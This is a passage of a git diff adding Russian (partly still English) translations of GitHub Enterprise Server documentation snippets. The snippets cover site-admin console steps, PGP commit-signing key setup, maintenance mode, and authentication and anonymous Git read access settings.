ifversion ghes or ghae %}: общие сведения{% endif %}** . + ![Вкладка "Организация{% ifversion ghes or ghae %}: общие сведения{% endif %}" в параметрах администрирования сайта](/assets/images/enterprise/site-admin-settings/enterprise-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-preview.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-preview.md new file mode 100644 index 000000000000..7c11bea8b5d7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-preview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eff7c5769c0d11468abfec4b09790eabca005132 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111227" +--- +1. Чтобы просмотреть отображаемое сообщение, нажмите кнопку **Предварительный просмотр**. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-repo.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-repo.md new file mode 100644 index 000000000000..260463862042 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-repo.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a91887f0f66e52e1526940094d2cfe46447927fd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111219" +--- +1. В результатах поиска щелкните имя репозитория. +![Параметры поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/click-repo.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user-or-org.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user-or-org.md new file mode 100644 index 000000000000..2596c67cea2d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user-or-org.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 675dbe44b68cfb20b86881949893cc1b612f9b4e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111216" +--- +1. В результатах поиска щелкните имя пользователя или организации. +![Параметры поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/click-user.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user.md new file mode 100644 index 000000000000..bf3ac2115af8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/click-user.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f2d216f9f14abde73ad0818b96400d10388b3e82 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067766" +--- +1. В результатах поиска щелкните имя пользователя. +![Параметры поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/click-user.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md new file mode 100644 index 000000000000..ab37253169ea --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 60230922c1de68ef231a4bd6ce2d324de65f221c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111208" +--- +{% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) — это расширение с открытым кодом для Git, которое позволяет работать с большими файлами так же, как и с другими текстовыми файлами. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md new file mode 100644 index 000000000000..1379a80e8232 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 8918ea0f8f1e80fdae507aa6a1824cfecf057e0b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062709" +--- +1. В административной оболочке создайте ключ PGP. Запишите адрес электронной почты и идентификатор ключа. + + ```bash{:copy} + gpg --full-generate-key --pinentry-mode=loopback + ``` + + - Используйте тип ключа по умолчанию и по крайней мере `4096` бит без истечения срока действия. + - Используйте `web-flow` в качестве имени пользователя. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md new file mode 100644 index 000000000000..4ab76aace66b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md @@ -0,0 +1 @@ +The dormancy threshold is the length of time a user must be inactive to be considered dormant. The default dormancy threshold is 90 days, however you can customize the dormancy threshold for {% data variables.location.product_location %}. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/email-settings.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/email-settings.md new file mode 100644 index 000000000000..2990d9673b55 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/email-settings.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5f5f268f2cee222ff6796bfe935582747a0c9241 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060988" +--- +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +2. В верхней части страницы нажмите **Параметры**. +![Вкладка "Параметры"](/assets/images/enterprise/management-console/settings-tab.png) +3. В левой боковой панели щелкните **Электронная почта**. +![Вкладка электронной почты](/assets/images/enterprise/management-console/email-sidebar.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md new file mode 100644 index 000000000000..61e5512d130d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/git-lfs-toggle.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 87fa60e21ee7c39f45b208c4fe1b6d7ab7e38962 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111195" +--- +1. В разделе "{% data variables.large_files.product_name_short %}" нажмите кнопку **Включить** или **Отключить**. +![Кнопка "Отключить"](/assets/images/enterprise/management-console/git-lfs-toggle.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md new file mode 100644 index 000000000000..631d5e4c403a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-reset-link.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d99999d4186d4e67b7d8a00897bdf0b7bf54bfb3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067735" +--- +1. Введите имя пользователя и адрес электронной почты для каждой из учетных записей пользователей, которые вы хотите создать, а затем нажмите кнопку **Создать ссылку для сброса пароля**. +![Кнопка для создания ссылки для сброса пароля](/assets/images/enterprise/site-admin-settings/generate-password-reset-link-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md new file mode 100644 index 000000000000..66b2504f12ed --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/invite-user-sidebar-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f3cc163880f546985916740ca013a1bdf9ae91ea +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882130" +--- +1. На боковой панели слева нажмите кнопку **Пригласить пользователя**. +![Вкладка "Пригласить пользователя" в консоли администрирования сайта](/assets/images/enterprise/site-admin-settings/invite-user.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md new file mode 100644 index 000000000000..de4b8e961cfb --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/list-of-repos-with-anonymous-git-read-access-enabled.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0ca20a5d3df308b688e34b8d4d0e997230ff4a9c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067734" +--- +Чтобы просмотреть репозитории с включенным анонимным доступом на чтение Git, отфильтруйте список репозиториев на панели мониторинга администратора сайта. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md new file mode 100644 index 000000000000..7be640fb4081 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/maintenance-mode-status.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 90c64f948041aa7df89a879ed5764e235d474443 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332155" +--- +{% note %} + +**Примечание.** Если устройство находится в режиме обслуживания, в URL-адресе `https://HOSTNAME/status` вернется код состояния `503` ("Служба недоступна"). Дополнительные сведения см. в разделе [Включение и планирование режима обслуживания](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/management-console.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/management-console.md new file mode 100644 index 000000000000..29863af3f9af --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/management-console.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 895f2417d74e9ac2fe7589e8271bd1320658124e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067726" +--- +1. На боковой панели слева нажмите **{% data variables.enterprise.management_console %}** . +![Вкладка "{% data variables.enterprise.management_console %}" на боковой панели слева](/assets/images/enterprise/management-console/management-console-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/message-preview-save.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/message-preview-save.md new file mode 100644 index 000000000000..48957a754678 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/message-preview-save.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 4eb06e872fc3f126abdf34cfc18532e871f2616d +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111160" +--- +1. При необходимости, чтобы просмотреть сообщение, нажмите кнопку **Предварительный просмотр**. + ![Кнопка предварительного просмотра сообщения](/assets/images/enterprise/site-admin-settings/message-preview-button.png) +1. Нажмите кнопку **Сохранить изменения**. + ![Кнопка "Сохранить изменения"](/assets/images/enterprise/site-admin-settings/message-save-changes-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/override-policy.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/override-policy.md new file mode 100644 index 000000000000..2b24e7894f33 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/override-policy.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4e4a177f0f10e600b7e0b82ed38fc90fa2de5d54 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067718" +--- +{% tip %} + +**Примечание.** Каждый репозиторий автоматически наследует параметры по умолчанию от организации или пользователя, которым он принадлежит. Переопределить параметр по умолчанию не удастся, если владелец репозитория принудительно установил этот параметр во всех своих репозиториях. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/packages-tab.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/packages-tab.md new file mode 100644 index 000000000000..29311ca32200 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/packages-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e332afe2a895c7a58a5db47a73375574e2dc5d40 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111155" +--- +1. На боковой панели слева нажмите **Пакеты**. + ![Вкладка "Пакеты" на боковой панели консоли управления](/assets/images/enterprise/site-admin-settings/management-console-packages-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md new file mode 100644 index 000000000000..2fe307830cde --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-env-variable.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6cff9129bc98844ebcbcf3449cd5b5621559242c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147710198" +--- +1. Определите ключ как переменную среды для {% data variables.product.product_name %}, заменив `` идентификатором ключа GPG. + + ```bash{:copy} + ghe-config "secrets.gpgverify.web-signing-key" "$(gpg --export-secret-keys -a | awk '{printf "%s\\n", $0}')" + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md new file mode 100644 index 000000000000..99e7d4bc80ba --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/pgp-key-no-passphrase.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c5f9dafdd0f7bfe400caa602a3a5ce61c6800c2f +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785745" +--- + - Ключ PGP **не может** быть защищен парольной фразой. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/repository-search.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/repository-search.md new file mode 100644 index 000000000000..704ee9c3cc28 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/repository-search.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f29ec31be43da2a155a356c829f27e07e4efc560 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067702" +--- +1. В поле поиска введите имя репозитория и нажмите кнопку **Найти**. +![Поле поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/search-for-things.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/save-changes.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/save-changes.md new file mode 100644 index 000000000000..23184f1a5c63 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/save-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 867e58428bcbbe3a062880697623f9c7b88a1905 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111144" +--- +1. В нижней части страницы нажмите кнопку **Сохранить изменения**. +![Сохранение изменений](/assets/images/enterprise/site-admin-settings/save-changes-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user-or-org.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user-or-org.md new file mode 100644 index 000000000000..b172ea882dd6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user-or-org.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ae3c4423fccf5833a6122a625e018da757449f96 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067694" +--- +1. В поле поиска введите имя пользователя или название организации и нажмите кнопку **Найти**. +![Поле поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/search-for-things.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user.md new file mode 100644 index 000000000000..bcc164c92cc0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/search-user.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5a9a69a8042d67b88bfdf1a35e64377675cf015d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111131" +--- +1. В поле поиска введите имя пользователя и нажмите кнопку **Найти**. +![Поле поиска настроек администратора сайта](/assets/images/enterprise/site-admin-settings/search-for-things.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/security-tab.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/security-tab.md new file mode 100644 index 000000000000..583f86446967 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/security-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8b290db08229794c6bc71ff3a262752ea7dd1c1d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067686" +--- +1. В правом верхнем углу страницы щелкните {% octicon "shield" aria-label="The shield" %} **Безопасность**. +![Вкладка "Безопасность"](/assets/images/enterprise/site-admin-settings/repo/repo-security-top-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/sign-in.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/sign-in.md new file mode 100644 index 000000000000..404565e28e50 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/sign-in.md @@ -0,0 +1 @@ +1. Sign in to {% data variables.location.product_location %} at `http(s)://HOSTNAME/login`. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/tls-downtime.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/tls-downtime.md new file mode 100644 index 000000000000..06f181e15252 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/tls-downtime.md @@ -0,0 +1,5 @@ +{% warning %} + +**Warning:** Configuring TLS causes a small amount of downtime for {% data variables.location.product_location %}. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md new file mode 100644 index 000000000000..9a086d2641a3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/update-commit-signing-service.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 08efc883c983edbb53fd63caae6ab5f7ee335afd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060292" +--- +1. Обновите параметры для службы подписывания фиксаций {% data variables.product.product_name %}. + + ```bash{:copy} + sudo consul-template -once -template /etc/consul-templates/etc/nomad-jobs/gpgverify/gpgverify.hcl.ctmpl:/etc/nomad-jobs/gpgverify/gpgverify.hcl + + nomad job run /etc/nomad-jobs/gpgverify/gpgverify.hcl + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md new file mode 100644 index 000000000000..ceff43591e4d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/wait-for-configuration-run.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: fb5ac86ff842ceed419d6fbae01b5c51add9766c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067663" +--- +1. Ожидайте завершения запуска конфигурации. + + ![Настройка экземпляра](/assets/images/enterprise/management-console/configuration-run.png) diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/2fa_is_available.md b/translations/ru-RU/data/reusables/enterprise_user_management/2fa_is_available.md new file mode 100644 index 000000000000..f13c4f9f2050 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/2fa_is_available.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b88abf92359e2985446454e66b4fbd7182557f0d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111104" +--- +При использовании протокола LDAP или встроенной проверки подлинности поддерживается двухфакторная проверка подлинности. Администраторы организации могут требовать от участников прохождения двухфакторной проверки подлинности. diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md b/translations/ru-RU/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md new file mode 100644 index 000000000000..a8ccf8f70b54 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md @@ -0,0 +1 @@ +Alternatively, you can configure external authentication for {% data variables.location.product_location %}. If you use external authentication, you must invite people to use your instance through your authentication provider. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)." diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md new file mode 100644 index 000000000000..d1c1d86a0d89 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md @@ -0,0 +1 @@ +When you use built-in authentication for {% data variables.location.product_location %}, each person creates a personal account from an invitation or by signing up. diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-option.md b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-option.md new file mode 100644 index 000000000000..e87c50f2b9ee --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication-option.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c279ab7f9d2965fbe2ddc9dcd0047d3a0be0717a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067647" +--- +При необходимости для того, чтобы разрешить пользователям без учетной записи во внешней системе проверки подлинности вход с помощью встроенной проверки подлинности, выберите **Разрешить встроенную проверку подлинности**. Дополнительные сведения см. в разделе [Разрешение встроенной проверки подлинности для пользователей за пределами поставщика](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider). diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication.md b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication.md new file mode 100644 index 000000000000..49151a385fc3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/built-in-authentication.md @@ -0,0 +1 @@ +If you want to allow authentication for some people who don't have an account on your external authentication provider, you can allow fallback authentication to local accounts on {% data variables.location.product_location %}. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md b/translations/ru-RU/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md new file mode 100644 index 000000000000..c52e1e5433b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md @@ -0,0 +1 @@ +{% data variables.product.product_name %} normalizes a value from your {% ifversion ghec or ghae %}IdP{% elsif ghes %}external authentication provider{% endif %} to determine the username for each new personal account {% ifversion ghae %}on {% data variables.product.product_name %}{% elsif ghec %}in your enterprise on {% data variables.location.product_location %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md b/translations/ru-RU/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md new file mode 100644 index 000000000000..7e914e87667c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md @@ -0,0 +1,9 @@ +{% warning %} + +**Warnings:** + +- The Git protocol is unauthenticated and unencrypted. An attacker could intercept repository data transferred over connections using this protocol. +- If you enable anonymous Git read access, you're responsible for all access and use of the feature. {% data variables.product.company_short %} is not responsible for any unintended access, security risks, or misuse of the feature. +- You may not use this feature to violate your license from {% data variables.product.company_short %}, including the limit on the number of user licenses for {% data variables.location.product_location %}. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md b/translations/ru-RU/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md new file mode 100644 index 000000000000..e2a1a32a01d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/exceptions-for-enabling-anonymous-git-read-access.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 625b0ed6920a4f5f1192583b214983b09427734e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067639" +--- +{% note %} + +**Примечания.** +- Изменить параметры доступа на чтение Git для вилки репозитория нельзя, так как по умолчанию она наследует параметры доступа от корневого репозитория. +- Если общедоступный репозиторий становится частным, анонимный доступ на чтение Git автоматически отключается для этого репозитория и вилок в нем. +- Если репозиторий с анонимной проверкой подлинности содержит ресурсы {% data variables.large_files.product_name_short %}, то ему не удастся загрузить ресурсы {% data variables.large_files.product_name_short %}, так как для них по-прежнему требуется проверка подлинности. Настоятельно рекомендуется не включать анонимный доступ на чтение Git для репозитория с ресурсами {% data variables.large_files.product_name_short %}. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/external_auth_disables_2fa.md b/translations/ru-RU/data/reusables/enterprise_user_management/external_auth_disables_2fa.md new file mode 100644 index 000000000000..a3d1765b6d8d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/external_auth_disables_2fa.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8892790c359353b634712895ee217b84965db88c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332051" +--- +При использовании SAML или CAS двухфакторная аутентификация не поддерживается или не управляется устройством {% data variables.product.prodname_ghe_server %}, но может поддерживаться внешним поставщиком аутентификации. Двухфакторная проверка подлинности в организациях недоступна. Дополнительные сведения о применении двухфакторной проверки подлинности в организациях см. в разделе [Обязательная двухфакторная проверка подлинности в организации](/enterprise/user/articles/requiring-two-factor-authentication-in-your-organization/). diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md b/translations/ru-RU/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md new file mode 100644 index 000000000000..39c0d0aa148a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/ldap-sync-nested-teams.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b27c4a1785969007a6695d4ab23c88ca604bcefb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332035" +--- +{% ifversion ghes %} В рамках конфигурации оптимизации синхронизация LDAP не переносит вложенную структуру команды. 